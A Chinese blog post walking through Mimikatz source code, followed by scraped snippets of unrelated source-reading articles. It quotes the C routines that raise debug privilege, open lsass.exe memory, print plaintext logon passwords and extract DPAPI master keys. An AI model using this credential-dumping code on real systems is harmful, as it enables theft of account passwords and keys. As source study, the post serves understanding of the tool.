【源码阅读】Mimikatz一键获取远程终端凭据与获取明文密码

1、前言

mimikatz框架是非常精妙的,粗浅讲一下修改的思路。

它的模块主要由各个结构体数组组成,根据传入的命令搜索执行相应命令的模块

mimikatz.c 部分代码:

NTSTATUS mimikatz_doLocal(wchar_t * input)
{
        NTSTATUS status = STATUS_SUCCESS;
        // 参数个数定义
        int argc;
        // 获取输入的值,参数个数赋值
        //
        wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match;
        unsigned short indexModule, indexCommand;
        BOOL moduleFound = FALSE, commandFound = FALSE;

        if(argv && (argc > 0))
        {
                if(match = wcsstr(argv[0], L"::"))
                {
                        if(module = (wchar_t *) LocalAlloc(LPTR, (match - argv[0] + 1) * sizeof(wchar_t)))
                        {
                                if((unsigned int) (match + 2 - argv[0]) < wcslen(argv[0]))
                                        //提取::号的后半段字符
                                        command = match + 2;
                                //将argv[0]源内存块的内容复制到module目标内存块。
                                RtlCopyMemory(module, argv[0], (match - argv[0]) * sizeof(wchar_t));
                        }
                }
                else command = argv[0];
                // 索引值为0,如果moduleFound为1且索引值小于模块的数目,循环执行
                for(indexModule = 0; !moduleFound && (indexModule < ARRAYSIZE(mimikatz_modules)); indexModule++)
                        //查找模块
                        if(moduleFound = (!module || (_wcsicmp(module, mimikatz_modules[indexModule]->shortName) == 0)))
                                //查找命令
                                if(command)
                                        for(indexCommand = 0; !commandFound && (indexCommand < mimikatz_modules[indexModule]->nbCommands); indexCommand++)
                                                if(commandFound = _wcsicmp(command, mimikatz_modules[indexModule]->commands[indexCommand].command) == 0)
                                                        //调用相关模块函数
                                                        status = mimikatz_modules[indexModule]->commands[indexCommand].pCommand(argc - 1, argv + 1);

实际调用模块的方式

//模块调用,对应结构体
const KUHL_M * mimikatz_modules[] = {
        &kuhl_m_standard,
        &kuhl_m_crypto,
        &kuhl_m_sekurlsa,
        &kuhl_m_kerberos,
        &kuhl_m_privilege,
        &kuhl_m_process,
        &kuhl_m_service,
        &kuhl_m_lsadump,
        &kuhl_m_ts,
        &kuhl_m_event,
        &kuhl_m_misc,
        &kuhl_m_token,
        &kuhl_m_vault,
        &kuhl_m_minesweeper,
#ifdef NET_MODULE
        &kuhl_m_net,
#endif
        &kuhl_m_dpapi,
        &kuhl_m_busylight,
        &kuhl_m_sysenv,
        &kuhl_m_sid,
        &kuhl_m_iis,
        &kuhl_m_rpc,
};

如果要添加各种变量作为功能模块。在打开解决方案后,global files目录中的globals.h文件可以添加你设置的全局变量,实现全局调用。

提权函数部分

//提权函数调用
NTSTATUS kuhl_m_privilege_debug(int argc, wchar_t * argv[])
{
        return kuhl_m_privilege_simple(SE_DEBUG);
}

主要用更底层的函数,一行API实现进程提权。

NTSTATUS kuhl_m_privilege_simple(ULONG privId)
{
        ULONG previousState;
        NTSTATUS status;
        //提升权限
        //  RtlAdjustPrivilege(SE_DEBUG, TRUE, FALSE, &previousState);
        status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState);
        if(NT_SUCCESS(status))
                kprintf(L"Privilege \‘%u\‘ OK\n", privId);
        else
                PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status);
        return status;
}

明文获取密码部分

NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages)
{
        KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages};
        return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData);  //明文获取密码2
}

通过调试跟进,发现是从lsass.exe中dump出内存

        //根据版本指定调用进程优先级别的函数
        DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
        BOOL isError = FALSE;

        if(!cLsass.hLsassMem)
        {
                status = STATUS_NOT_FOUND;
                if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
                {
                        if(pMinidumpName)
                        {
                                Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
                                kprintf(L"Opening : \‘%s\‘ file for minidump...\n", pMinidumpName);
                                hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
                        }
                        else
                        {
                                Type = KULL_M_MEMORY_TYPE_PROCESS;
                                if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
                                        hData = OpenProcess(processRights, FALSE, pid); //打开进程
                                else PRINT_ERROR(L"LSASS process not found (?)\n");
                        }

在NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)的回调函数中输出已经获取的明文数据

                                                        //回传数据
                                                        retCallback = callback(&sessionData, pOptionalData); //明文密码获取3

明文密码打印位置

BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{
        PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData;
        ULONG i;
        //PDWORD sub = NULL;
        if((pData->LogonType != Network)/* && pData->LogonType != UndefinedLogonType*/)
        {
                //if(IsValidSid(pData->pSid) && GetSidSubAuthorityCount(pData->pSid))
                //        sub = GetSidSubAuthority(pData->pSid, 0);

                //if(!sub || (*sub != 90 && *sub != 96))
                //{
                        //这个函数负责获取需要打印的数据
                        kuhl_m_sekurlsa_printinfos_logonData(pData);
                       //循环输出
                        for(i = 0; i < pLsassData->nbPackages; i++)
                        {
                                if(pLsassData->lsassPackages[i]->Module.isPresent && lsassPackages[i]->isValid)
                                {
                                        kprintf(L"\t%s :\t", pLsassData->lsassPackages[i]->Name);
                                        pLsassData->lsassPackages[i]->CredsForLUIDFunc(pData);
                                        kprintf(L"\n");
                                }
                        }
                //}
        }
        return TRUE;
}

获取远程会话终端凭据部分

NTSTATUS kuhl_m_sekurlsa_dpapi(int argc, wchar_t * argv[])
{
        kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_dpapi, NULL); //获取全部用户Guid
        return STATUS_SUCCESS;
}

在BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_dpapi(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)处是存储会话的Guid和MasterKey所在的位置。


                        if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(KIWI_MASTERKEY_CACHE_ENTRY)))
                                        {
                                                if(SecEqualLuid(pData->LogonId, &mesCredentials.LogonId))
                                                {
                                                        kprintf(L"\t [%08x]\n\t * GUID      :\t", monNb++);
                                                        kull_m_string_displayGUID(&mesCredentials.KeyUid); //获取Guid

                                                        kprintf(L"\n\t * Time      :\t"); kull_m_string_displayLocalFileTime(&mesCredentials.insertTime);

                                                        if(aKey.address = LocalAlloc(LPTR, mesCredentials.keySize))
                                                        {
                                                                aLsass.address = (PBYTE) aLsass.address + FIELD_OFFSET(KIWI_MASTERKEY_CACHE_ENTRY, key);
                                                                if(kull_m_memory_copy(&aKey, &aLsass, mesCredentials.keySize))
                                                                {
                                                                        (*pData->lsassLocalHelper->pLsaUnprotectMemory)(aKey.address, mesCredentials.keySize);
                                                                        kprintf(L"\n\t * MasterKey :\t"); kull_m_string_wprintf_hex(aKey.address, mesCredentials.keySize, 0);  //获取MasterKey
.....

2、效果图

执行多条命令

批量对比

原文地址:https://www.cnblogs.com/17bdw/p/8450192.html

时间: 2024-10-11 11:38:04

【源码阅读】Mimikatz一键获取远程终端凭据与获取明文密码的相关文章

CI框架源码阅读笔记3 全局函数Common.php

从本篇开始,将深入CI框架的内部,一步步去探索这个框架的实现.结构和设计. Common.php文件定义了一系列的全局函数(一般来说,全局函数具有最高的加载优先权,因此大多数的框架中BootStrap引导文件都会最先引入全局函数,以便于之后的处理工作). 打开Common.php中,第一行代码就非常诡异: if ( ! defined('BASEPATH')) exit('No direct script access allowed'); 上一篇(CI框架源码阅读笔记2 一切的入口 index

淘宝数据库OceanBase SQL编译器部分 源码阅读--生成逻辑计划

body, td { font-family: tahoma; font-size: 10pt; } 淘宝数据库OceanBase SQL编译器部分 源码阅读--生成逻辑计划 SQL编译解析三部曲分为:构建语法树,生成逻辑计划,指定物理执行计划.第一步骤,在我的上一篇博客淘宝数据库OceanBase SQL编译器部分 源码阅读--解析SQL语法树里做了介绍,这篇博客主要研究第二步,生成逻辑计划. 一. 什么是逻辑计划?我们已经知道,语法树就是一个树状的结构组织,每个节点代表一种类型的语法含义.如

JDK部分源码阅读与理解

本文为博主原创,允许转载,但请声明原文地址:http://www.coselding.cn/article/2016/05/31/JDK部分源码阅读与理解/ 不喜欢重复造轮子,不喜欢贴各种东西.JDK代码什么的,让整篇文章很乱...JDK源码谁都有,没什么好贴的...如果你没看过JDK源码,建议打开Eclipse边看源码边看这篇文章,看过的可以把这篇文章当成是知识点备忘录... JDK容器类中有大量的空指针.数组越界.状态异常等异常处理,这些不是重点,我们关注的应该是它的一些底层的具体实现,这篇

淘宝数据库OceanBase SQL编译器部分 源码阅读--生成物理查询计划

SQL编译解析三部曲分为:构建语法树,制定逻辑计划,生成物理执行计划.前两个步骤请参见我的博客<<淘宝数据库OceanBase SQL编译器部分 源码阅读--解析SQL语法树>>和<<淘宝数据库OceanBase SQL编译器部分 源码阅读--生成逻辑计划>>.这篇博客主要研究第三步,生成物理查询计划. 一. 什么是物理查询计划 与之前的阅读方法一致,这篇博客的两个主要问题是what 和how.那么什么是物理查询计划?物理查询计划能够直接执行并返回数据结果数

Flume-NG源码阅读之SourceRunner,及选择器selector和拦截器interceptor的执行

在AbstractConfigurationProvider类中loadSources方法会将所有的source进行封装成SourceRunner放到了Map<String, SourceRunner> sourceRunnerMap之中.相关代码如下: 1 Map<String, String> selectorConfig = context.getSubProperties( 2 BasicConfigurationConstants.CONFIG_SOURCE_CHANNE

ThinkPHP源码阅读2-----C函数配置文件详解

ThinkPHP的配置非常灵活,可自定义加载.大概看了一下,一共有这几个地方会加载配置文件,方便以后的读取 /** * 获取和设置配置参数 支持批量定义 * * @param string|array $name * 配置变量 * @param mixed $value * 配置值 * @return mixed */ function C($name = null, $value = null) { static $_config = array (); // 无参数时获取所有 if (emp

Flume-NG源码阅读之FileChannel

FileChannel是flume一个非常重要的channel组件,非常常用.这个channel非常复杂,涉及的文件更多涉及三个包:org.apache.flume.channel.file.org.apache.flume.channel.file.encryption(加密).org.apache.flume.channel.file.proto共计40个源码文件. 一.configure(Context context)方法: 1.首先获取配置文件中的checkpointDir和dataD

Netty源码阅读(一) ServerBootstrap启动

Netty源码阅读(一) ServerBootstrap启动 转自我的Github Netty是由JBOSS提供的一个java开源框架.Netty提供异步的.事件驱动的网络应用程序框架和工具,用以快速开发高性能.高可靠性的网络服务器和客户端程序.本文讲会对Netty服务启动的过程进行分析,主要关注启动的调用过程,从这里面进一步理解Netty的线程模型,以及Reactor模式. 这是我画的一个Netty启动过程中使用到的主要的类的概要类图,当然是用到的类比这个多得多,而且我也忽略了各个类的继承关系

java1.7集合源码阅读: Stack

Stack类也是List接口的一种实现,也是一个有着非常长历史的实现,从jdk1.0开始就有了这个实现. Stack是一种基于后进先出队列的实现(last-in-first-out (LIFO)),实际上jdk也提供了有关队列的其他实现,这里就先看看Stack的实现: 类定义: public class Stack<E> extends Vector<E> { //从类定义看,Stack是线程安全的 ..... } 看看Stack提供的一些CRUD方法: 1 /** 2 * Pus